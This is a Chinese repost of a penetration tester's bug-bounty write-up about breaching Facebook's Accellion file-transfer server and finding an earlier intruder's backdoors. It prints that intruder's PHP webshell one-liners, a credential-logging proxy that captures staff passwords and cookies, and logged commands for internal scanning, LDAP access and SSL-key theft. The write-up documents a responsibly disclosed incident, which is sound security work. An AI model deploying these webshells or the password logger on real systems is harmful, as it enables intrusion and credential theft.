滲透 Facebook 的思路與發現

2021-02-10 黑客Hub

Facebook雖大,但並非刀槍不入。來自灣灣的大神Orange Tsai現在就給大家展示一次滲透Facebook的詳細歷程。令人意外的是,他發現早有人黑進去並種了馬。。同時也因為這次成功的滲透,他獲得了Facebook一萬美金的獎勵

by Orange Tsai from devco.re

寫在故事之前

身為一位滲透測試人員,比起 Client Side 的弱點我更喜歡 Server Side 的攻擊,能夠直接的控制伺服器、獲得權限操作 SHELL 才爽 <( ̄︶ ̄)>

當然一次完美的滲透任何形式的弱點都不可小覷,在實際滲透時偶爾還是需要些 Client Side 弱點組合可以更完美的控制伺服器,但是在尋找弱點時我本身還是先偏向以可直接進入伺服器的方式來去尋找風險高、能長驅直入的弱點。

隨著 Facebook 在世界上越來越火紅、用戶量越來越多,一直以來都有想要嘗試看看的想法,恰巧 Facebook 在 2012 年開始有了 Bug Bounty 獎金獵人的機制讓我更躍躍欲試。

一般如由滲透的角度來說習慣性都會從收集資料、偵查開始,首先界定出目標在網路上的 「範圍」 有多大,姑且可以評估一下從何處比較有機會下手。例如:

當然 Bug Bounty 並不是讓你無限制的攻擊,將所蒐集到的範圍與 Bug Bounty 所允許的範圍做交集後才是你真正可以去嘗試的目標。

一般來說大公司在滲透中比較容易出現的問題點這裡舉幾個例子來探討

對多數大公司而言,」網路邊界」 是比較難顧及、容易出現問題的一塊,當公司規模越大,同時擁有數千、數萬臺機器在線,網管很難顧及到每臺機器。在攻防裡,防守要防的是一個面,但攻擊只需找個一個點就可以突破,所以防守方相對處於弱勢,攻擊者只要找到一臺位於網路邊界的機器入侵進去就可以開始在內網進行滲透了!

對於 「連網設備」 的安全意識相對薄弱,由於連網設備通常不會提供 SHELL 給管理員做進一步的操作,只能由設備本身所提供的介面設定,所以通常對於設備的防禦都是從網路層來抵擋,但如遇到設備本身的 0-Day 或者是 1-Day 可能連被入侵了都不自覺。

人的安全,隨著 「社工庫」 的崛起,有時可以讓一次滲透的流程變得異常簡單,從公開資料找出公司員工列表,再從社工庫找到可以登入 VPN 的員工密碼就可以開始進行內網滲透,尤其當社工庫數量越來越多 「量變成質變」 時只要關鍵人物的密碼在社工庫中可找到,那企業的安全性就全然突破 :P 

理所當然在尋找 Facebook 弱點時會以平常進行滲透的思路進行,在開始搜集資料時除了針對 Facebook 本身域名查詢外也對註冊信箱進行 Reverse Whois 意外發現了個奇妙的域名名稱

tfbnw.net

TFBNW 似乎是 「TheFacebook Network」 的縮寫
再藉由公開資料發現存在下面這臺這臺伺服器

vpn.tfbnw.net

哇! vpn.tfbnw.net 看起來是個 Juniper SSL VPN 的登入介面,不過版本滿新的沒有直接可利用的弱點,不過這也成為了進入後面故事的開端。

TFBNW 看似是 Facebook 內部用的域名,來掃掃 vpn.tfbnw.net 同網段看會有什麼發現

從這幾臺機器大致可以判斷這個網段對於 Facebook 來說應該是相對重要的網段,之後一切的故事就從這裡開始。

弱點發現

在同網段中,發現一臺特別的伺服器

files.fb.com

↑ files.fb.com 登入介面

從 LOGO 以及 Footer 判斷應該是 Accellion 的 Secure File Transfer (以下簡稱 FTA)

FTA 為一款標榜安全檔案傳輸的產品,可讓使用者線上分享、同步檔案,並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制,Enterprise 版本更支援 SSL VPN 服務。

首先看到 FTA 的第一件事是去網路上搜尋是否有公開的 Exploit 可以利用,Exploit 最近的是由 HD Moore 發現並發佈在 Rapid7 的這篇 Advisory

弱點中可直接從 「/tws/getStatus」 中洩漏的版本資訊判斷是否可利用,在發現 files.fb.com 時版本已從有漏洞的 0.18 升級至 0.20 了,不過就從 Advisory 中所透露的片段程式碼感覺 FTA 的撰寫風格如果再繼續挖掘可能還是會有問題存在的,所以這時的策略便開始往尋找 FTA 產品的 0-Day 前進!

不過從實際黑箱的方式其實找不出什麼問題點只好想辦法將方向轉為白箱測試,透過各種方式拿到舊版的 FTA 原始碼後終於可以開始研究了!

整個 FTA 產品大致架構

網頁端介面主要由 Perl 以及 PHP 構成

PHP 原始碼皆經過 IonCube 加密

在背景跑了許多 Perl 的 Daemon

首先是解密 IonCude 的部分,許多設備為了防止自己的產品被檢視所以會將原始碼加密,不過好在 FTA 上的 IonCude 版本沒到最新,可以使用現成的工具解密,不過由於 PHP 版本的問題,細節部份以及數值運算等可能要靠自己修復一下,不然有點難看…

經過簡單的原始碼審查後發現,好找的弱點應該都被 Rapid7 找走了 T^T
而需要認證才能觸發的漏洞又不怎麼好用,只好認真點往深層一點的地方挖掘!

經過幾天的認真挖掘,最後總共發現了七個弱點,其中包含了

Cross-Site Scripting x 3

Pre-Auth SQL Injection leads to Remote Code Execution

Known-Secret-Key leads to Remote Code Execution

Local Privilege Escalation x 2

除了回報 Facebook 安全團隊外,其餘的弱點也製作成 Advisory 提交 Accellion 技術窗口,經過廠商修補提交 CERT/CC 後取得四個 CVE 編號

CVE-2016-2350

CVE-2016-2351

CVE-2016-2352

CVE-2016-2353

詳細的弱點細節會待 Full Disclosure Policy 後公布!

↑ 使用 Pre-Auth SQL Injection 寫入 Webshell

在實際滲透中進去伺服器後的第一件事情就是檢視當前的環境是否對自己友善,為了要讓自己可以在伺服器上待的久就要盡可能的了解伺服器上有何限制、紀錄,避開可能會被發現的風險 :P

Facebook 大致有以下限制:

防火牆無法連外, TCP, UDP, 53, 80, 443 皆無法

存在遠端的 Syslog 伺服器

開啟 Auditd 記錄

無法外連看起來有點麻煩,但是 ICMP Tunnel 看似是可行的,但這只是一個 Bug Bounty Program 其實不需要太麻煩就純粹以 Webshell 操作即可。

似乎有點奇怪?

正當收集證據準備回報 Facebook 安全團隊時,從網頁日誌中似乎看到一些奇怪的痕跡。

首先是在 「/var/opt/apache/php_error_log」 中看到一些奇怪的 PHP 錯誤訊息,從錯誤訊息來看似乎像是邊改 Code 邊執行所產生的錯誤?

↑ PHP error log


跟隨錯誤訊息的路徑去看發現疑似前人留下的 Webshell 後門

↑ Webshell on facebook server

其中幾個檔案的內容如下

sshpass

沒錯,就是那個 sshpass

bN3d10Aw.php

<?php echo shell_exec($_GET['c']); ?>

uploader.php

<?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>

d.php

<?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>

sclient_user_class_standard.inc

<?phpinclude_once('sclient_user_class_standard.inc.orig');$fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); $retries = 0;$max_retries = 100; // 省略...fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n"); // 省略...

前幾個就是很標準的 PHP 一句話木馬
其中比較特別的是 「sclient_user_class_standard.inc」 這個檔案

include_once 中 「sclient_user_class_standard.inc.orig」 為原本對密碼進行驗證的 PHP 程式,駭客做了一個 Proxy 在中間並在進行一些重要操作時先把 GET, POST, COOKIE 的值記錄起來

整理一下,駭客做了一個 Proxy 在密碼驗證的地方,並且記錄 Facebook 員工的帳號密碼,並且將記錄到的密碼放置在 Web 目錄下,駭客每隔一段時間使用 wget 抓取

wget https://files.fb.com/courier/B3dKe9sQaa0L.log

↑ Logged passwords

從紀錄裡面可以看到除了使用者帳號密碼外,還有從 FTA 要求檔案時的信件內容,記錄到的帳號密碼會定時 Rotate (後文會提及,這點還滿機車的XD)

發現當下,最近一次的 Rotate 從 2/1 記錄到 2/7 共約 300 筆帳號密碼紀錄,大多都是 「@fb.com」 或是 「@facebook.com」 的員工帳密,看到當下覺得事情有點嚴重了,在 FTA 中,使用者的登入主要有兩種模式

一般用戶註冊,密碼 Hash 存在資料庫,由 SHA256 + SALT 儲存

Facebook 員工 (@fb.com) 則走統一認證,使用 LDAP 由 AD 認證

在這裡相信記錄到的是真實的員工帳號密碼,**猜測** 這份帳號密碼應該可以通行 Facebook Mail OWA, VPN 等服務做更進一步的滲透…

此外,這名 「駭客」 可能習慣不太好 :P

後門參數皆使用 GET 來傳遞,在網頁日誌可以很明顯的發現他的足跡

駭客在進行一些指令操作時沒顧慮到 STDERR ,導致網頁日誌中很多指令的錯誤訊息,從中可以觀察駭客做了哪些操作


從 access.log 可以觀察到的每隔數日駭客會將記錄到的帳號密碼清空

192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...

打包檔案

cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdouttar -czvf files.tar.gz files

對內部網路結構進行探測

dig a archibus.thefacebook.comtelnet archibus.facebook.com 80curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.phpdig a records.fb.comtelnet records.fb.com 80telnet records.fb.com 443wget -O- -q http://192.168.41.16dig a acme.facebook.com./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout...

使用 Shell Script 進行內網掃描但忘記把 STDERR 導掉XD


嘗試對內部 LDAP 進行連接

sh: -c: line 0: syntax error near unexpected token `('sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'

嘗試訪問內部網路資源
( 看起來 Mail OWA 可以直接訪問 …)

--20:38:09--  https://mail.thefacebook.com/Resolving mail.thefacebook.com... 192.168.52.37Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.HTTP request sent, awaiting response... 302 FoundLocation: https://mail.thefacebook.com/owa/ [following]--20:38:10--  https://mail.thefacebook.com/owa/Reusing existing connection to mail.thefacebook.com:443.HTTP request sent, awaiting response... 302 Moved TemporarilyLocation: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]--20:38:10--  https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0Reusing existing connection to mail.thefacebook.com:443.HTTP request sent, awaiting response... 200 OKLength: 8902 (8.7K) [text/html]Saving to: `STDOUT'     0K ...                                              100% 1.17G=0s20:38:10 (1.17 GB/s) - `-' saved [8902/8902]--20:38:33--  (try:15)  https://10.8.151.47/Connecting to 10.8.151.47:443... --20:38:51--  https://svn.thefacebook.com/Resolving svn.thefacebook.com... failed: Name or service not known.--20:39:03--  https://sb-dev.thefacebook.com/Resolving sb-dev.thefacebook.com... failed: Name or service not known.failed: Connection timed out.Retrying.

嘗試對 SSL Private Key 下手

sh: /etc/opt/apache/ssl.crt/server.crt: Permission deniedls: /etc/opt/apache/ssl.key/server.key: No such file or directorymv: cannot stat `x': No such file or directorysh: /etc/opt/apache/ssl.crt/server.crt: Permission deniedmv: cannot stat `x': No such file or directorysh: /etc/opt/apache/ssl.crt/server.crt: Permission deniedmv: cannot stat `x': No such file or directorysh: /etc/opt/apache/ssl.crt/server.crt: Permission deniedmv: cannot stat `x': No such file or directorysh: /etc/opt/apache/ssl.crt/server.crt: Permission deniedmv: cannot stat `x': No such file or directorysh: /etc/opt/apache/ssl.crt/server.crt: Permission deniedbase64: invalid input

從瀏覽器觀察 files.fb.com 的憑證還是 Wildcard 的 *.fb.com …

後記

在收集完足夠證據後便立即回報給 Facebook 安全團隊,回報內容除了漏洞細節外,還附上相對應的 Log 、截圖以及時間紀錄xD

從伺服器中的日誌可以發現有兩個時間點是明顯駭客在操作系統的時間,一個是七月初、另個是九月中旬

七月初的動作從紀錄中來看起來比較偏向 「逛」 伺服器,但九月中旬的操作就比較惡意了,除了逛街外,還放置了密碼 Logger 等,至於兩個時間點的 「駭客」 是不是同一個人就不得而知了 :P
而七月發生的時機點正好接近 CVE-2015-2857 Exploit 公佈前,究竟是透過 1-Day 還是無 0-Day 入侵系統也無從得知了。

這件事情就記錄到這裡,總體來說這是一個非常有趣的經歷xD
也讓我有這個機會可以來寫寫關於滲透的一些文章 :P

最後也感謝 Bug Bounty 及胸襟寬闊的 Facebook 安全團隊 讓我可以完整記錄這起事件 : )

Timeline

2016/02/05 20:05 提供漏洞詳情給 Facebook 安全團隊

2016/02/05 20:08 收到機器人自動回覆

2016/02/06 05:21 提供弱點 Advisory 給 Accellion 技術窗口

2016/02/06 07:42 收到 Thomas 的回覆,告知調查中

2016/02/13 07:43 收到 Reginaldo 的回覆,告知 Bug Bounty 獎金 $10000 USD

2016/02/13 詢問是否撰寫 Blog 是否有任何要注意的地方?

2016/02/13 詢問此漏洞被認為是 RCE 還是 SQL Injection

2016/02/18 收到 Reginaldo 的回覆,告知正在進行調查中,希望 Blog 先暫時不要發出

2016/02/24 收到 Hai 的回覆,告知獎金將會於三月發送

2016/04/20 收到 Reginaldo 的回覆,告知調查已完成


相關焦點

  • [薦]滲透 Facebook 的思路與發現
    隨著 Facebook 在世界上越來越火紅、用戶量越來越多,一直以來都有想要嘗試看看的想法,恰巧 Facebook 在 2012 年開始有了 Bug Bounty 獎金獵人的機制讓我更躍躍欲試。一般如由滲透的角度來說習慣性都會從收集資料、偵查開始,首先界定出目標在網路上的 「範圍」 有多大,姑且可以評估一下從何處比較有機會下手。
  • 港獨瞄準知名中學滲透 男拔萃校友與師生反彈
    日前香港知名中學男拔萃書院(Diocesan Boy's School)出現臉書上要在校園建立「國是學會」,推動港獨組織,並發表宣言,聲稱要「夙夜匪懈,策動香港建國之大業」。一般推測,可能是外間人士利用臉書假借校名搞事,然後蠱惑一兩位學生在校內活動,並以香港言論自由為保護傘,在「什麼議題都可以討論」的環境下,向年輕一代「放毒」。但正如一位校友指出,校園可以有研究毒品的學術自由,但卻絕對不容許在校園推廣毒品與販毒的自由。一位學生表示,拔萃有一些學生支持佔中,爭取普選,但絕不支持港獨。
  • 臺灣人愛Facebook與LINE,這不就是臺灣又一大商機嗎?
    臺灣人愛用臉書 facebook要知道臺灣人的衣食住行,其實到他們的Facebook上看看就可以了根據資料統計,臺灣目前LINE的用戶數已超過1700萬人次,高居全球第三,僅次於日本與泰國。若依人口比率估算,臺灣人使用LINE的密度是全球第一,臺灣人瘋LINE,每10個人中就有7.3人使用LINE。在臺灣,智慧型手機的持有者平均每天使用LINE的時間為71.8分鐘,遠高於使用Facebook的60.5分鐘,臺灣人瘋LINE的程度可見一般。
  • 憶事丨張守中:侯馬盟書的發現與整理
    侯馬盟書是幸運的發現,也是偶然中的必然,1956年成立的侯馬文物工作站對當時每一項基建工地,都配合得很緊密,考古發掘工作做得很認真。今年是侯馬盟書發現50周年,盟書的發掘者及盟書報告的編寫者之一張守中回顧盟書發現與整理研究往事。
  • 90%的人正在使用的RO反滲透凈水器
    首先,我們了解一下RO反滲透技術的發展歷史反滲透是60年代發展起來的壹項新的膜分離技術是依靠反滲透膜在壓力下使溶液中的溶劑與溶質進行分離的過程反滲透的英文全名是「REVERSE OSMOSIS」,縮寫為「RO」。
  • 醣質營養素是怎麼發現的?
    蘆薈有很多宣稱的療效與功能。當時,有一群投資人出資委託一位藥理及毒理學博士,也就是比爾麥克安納利博士〔Dr. Bill McAnalley〕替他們找出蘆薈的治療功效是什麼?為什麼這麼管用。1981 年,這位科學家發現,因為蘆薈裡面含有一種特殊分子,也就是甘露糖的緣故。但是,如果把一片蘆薈葉子折斷,兩到四個小時以後,葉子會變乾變扁,就沒有用處了。只有活生生,長在植株上的蘆薈葉子才有用。
  • 藝人的保養秘方~好吸收的美安等滲透系列產品
    最近lulu出了新書(露露胖公主變身記),這書裡頭的第59頁也有提到,美安OPC-3它對於減肥期間的皮膚問題十分有效,減肥期間皮膚難免比較缺乏光澤,瘦下去時也容易出現皺紋,葡萄籽可以適時滋養皮膚,改善這些皮膚問題。
  • 手機App暗中錄音 Facebook爆監聽風暴
    美教授揭發 港人憂間諜跟身   社交網facebook(fb)已成現代人日常社交的重要工具,人人智慧型手機不離手下,fb手機應用程式(App)不可缺少。fb承認可用咪高峰收音,但強調所收集的資料不會用於推送廣告用途。雖然這收音情況目前只在美國發生,但巿民若要保障隱私,不想被fb監聽,今後講機密最好熄手機,甚至拆電池!
  • 胡平生、李 蓉:青川郝家坪戰國墓木牘考古發現與研究
    (見青川縣文物管理所:《青川郝家坪戰國墓木牘的發現與研究》,巴蜀書社,2018年,第54—62頁。以下簡稱「《發現研究》」)[2]黃盛璋:《青川秦牘〈田律〉爭議問題總議》,《農業考古》1987年第2期,第128—138頁。(見《發現研究》,第260—269頁)按:《發現研究》所録黃文並不完整,缺少文末最後一小段。
  • 劉詩古:鄱陽湖區文書的發現、收集與整理(代序)
    在曹家的訴訟文書中,主要涉及三個比較大的訟案:一是清乾隆年間磡上曹家與長山楊姓控爭湖池案,二是清光緒年間磡上曹家因陶姓在湖汊釘樁妨礙捕魚作業搆訟案,三是民國年間曹家與對面的長山楊姓控爭柴山一案。這些爭訟案都關乎各家族間的湖池界址和作業權利的確定。第八、九冊收録了都昌縣北山鄉鄒家咀村鄒氏文書。
  • 《亞飛與亞基》同《審死官》有過節? 當年登報隔空單打周星馳
    由梁朝偉、張學友主演的黑色喜劇《亞飛與亞基》,多年來都備受影迷愛戴,不少人都好鍾意兩位巨星的抵死演出。
  • 【臺灣最美資料科學家】專訪林鬱珊:大數據與時尚也能結合
    今年26歲的博士候選人林鬱珊就成功結合了資料科學與時尚,接受了美國teenvogue雜誌專訪後,也與我們分享她的經驗!她透過選修與時尚有關聯的社交網路分析課程,希望能繼續接觸這個興趣。在課堂上,老師提到可以把想要討論的概念轉換成點與點形式的網絡,她認為時尚圈中設計師間互相啟發的概念或許也可以套用到這門課上,除了用大數據來找出誰是最常啟發別人的品牌/設計師外,設計師或品牌如何用社交媒體來宣傳他們的商品也是研究對象之一。她提到,時尚界的科技化速度其實比其他業界更慢。
  • 林青霞:蚌殼精與書生
    過了幾天,書生發現每天晚上家裡都有豐富的飯菜擺著,覺得奇怪。有一天晚上,門外有輕輕的敲門聲,書生打開門見到一名美女,美女說她就是那天書生丟入海裡的蚌殼。」 「哈!哈!哈!……」書房裡充滿著兩人清脆的笑聲。 古時候的書生十年寒窗苦讀,為的是想高中狀元。
  • 《成都考古發現》出版20周年專家座談研討會舉行
    今年是《成都考古發現》出版20周年,10月24日,成都文物考古研究院與科學出版社在北京聯合組織召開專家座談研討會。》的成果與意義展開研討。 他表示,《成都考古發現》,開創了中國考古界出版年度報告集的先河,豐富了我國考古學術著作的出版門類,培育了一支享譽業內的專家團隊、塑造了自身學術品牌、啟發與影響了其他學術團隊,為闡釋四川地區乃至中國古代文明做出了非凡的貢獻!
  • 【愛與佛命】之四──愛與行動
    【愛與佛命】之四──愛與行動文:慧淨法師.「愛」需要有實際行動,用動作來表示愛。外國人常常稱他自己的妻子為「甜心」,這只不過是口頭上的,口頭上說:「妳是我的甜心,妳是我所親愛的。」但如果心行不一又有什麼用處呢?必須要有行動才能把愛表現出來。比如母親愛她的孩子,這個孩子怎麼知道他的母親愛他呢?因為他的母親常常會抱他、親他。
  • fb Spaces推虛擬實境平臺 可與友交談互動拍照
    社交網站facebook推出全新App「Spaces」Beta版,支援Oculus Rift頭戴式顯示器與Touch動作控制器,可在虛擬實境
  • 點新聞facebook賬號被「剷」!
    香港媒體《點新聞》11日同時遭臉書(facebook)和YouTube封號,後經申訴相繼恢復。惟時隔兩日,再次遭到臉書封號。以「敢言」著稱的華記茶餐廳老闆楊官華拍片力撐《點新聞》,形容《點新聞》是濁世中的清泉,籲網民支持真正的新聞。
  • 腦神經科學發現:「感恩」可以改變大腦迴路,讓你更快樂
    腦神經科學發現:「感恩」可以改變大腦迴路,讓你更快樂當你說「謝謝」的時候,你是真心的,還是一種心不在焉的回覆呢